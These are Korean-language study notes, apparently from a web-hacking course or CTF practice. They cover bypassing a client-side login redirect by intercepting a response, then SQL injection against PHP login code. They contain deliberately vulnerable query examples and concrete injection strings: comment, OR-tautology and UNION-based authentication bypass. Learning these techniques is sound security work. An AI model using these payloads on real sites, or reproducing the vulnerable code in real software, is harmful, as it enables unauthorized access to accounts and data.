intercept
마우스 우클릭 -> Do intercept -> Response to this request
인터셉트의 request를 볼 수 있음.
-> 이 것을 두 번함.
<script>location.href='login.php'</script> //이부분을 지워야 함.
<?php
세션 생성
세션 정보 저장
로그인 처리
?> // 이런 경우도 있을 수 있음.
내가 생각했던 것처럼 세션 정보 저장이 일어나서 문제였던 것이었다.
불충분한 인증으로 분류된다.
admin 그냥 로그인으로 푼다. 너무 어렵게 생각했었다.
SQL: WAS와 DB가 통신할 때 SQL을 사용함.
DB: 엑셀이 DB 그 자체
SQL문
SELECT [컬럼 이름], [컬럼 이름] from [테이블 이름]
SELECT * from [테이블 이름]
SELECT [컬럼 이름], [컬럼 이름] from [테이블 이름] where 컬럼이름 = 데이터
and(두가지 모두 참)/ or(두가지 하나만 참.)
로그인 성공, 로그인 실패
$q = select * from member where id = 'id' and pass = 'password'
$result = mysqli->query(q)
if($result){
로그인 성공
}
else{
로그인 실패
}
$q = select pass from member where id = 'id'
$dp_pass = mysqli->query(q)
if($db_pass == user_pass){
로그인 성공
}
else{
로그인 실패
}
두 코드 모드 SQL Injection에 취약함.
SQL Injection: SQL 질의문을 삽입하는 공격. -> 데이터 추출/변조, 인증 우회 가능.
select * from member where id = '' and pass = ''
// 만약 id에 mario'#를 삽입하게 된다면
select * from member where id = 'mario'#' and pass = ''
SQL에서 #은 주석
#뒤는 주석처리되어서 사라짐.
select * from member where id = 'id' and pass = 'password'
// 로그인 query문
주석 id : mario'#
select * from member where id = 'mario'# ' and pass = 'password'
or : mario' or '1' = '1
select * from member where id = 'mario' or '1' = '1' and pass = 'password'
-> 마리오 정보만 나옴
-> 왜?
-> or와 and의 연산 우선 순위
-> and가 먼저 실행 됨.
-> and가 거짓 조건이 되어서 id = 'mario'가 성립하게 된다.
or: mario' or '1' = '1'#
select * from member where id = 'mario' or '1' = '1'#' and pass = 'password'
-> 모든 값이 나오게 됨.
UNION: 데이터를 연결해서 출력. select 2개 쓸 수 있게 해줌.
select * from member = 'id'
select * from member = 'admin' union select 'normaltic', 'qqqq', '1111', '2222'#'
select * from member = 'x' union select 'normaltic', 'qqqq', '1111', '2222'#'
-> password에 qqqq라고 쓰면 인증 우회가 가능함.
-> column의 숫자를 알아야 함. union의 경우 select 간의 column의 갯수가 같아야 함.
1의 경우 nomaltic1' or '1' = '1
- select * from member where id = 'id' and pass = 'password'
2의 경우 nomaltic2'#, 이 문제의 경우 or을 사용하지 못함.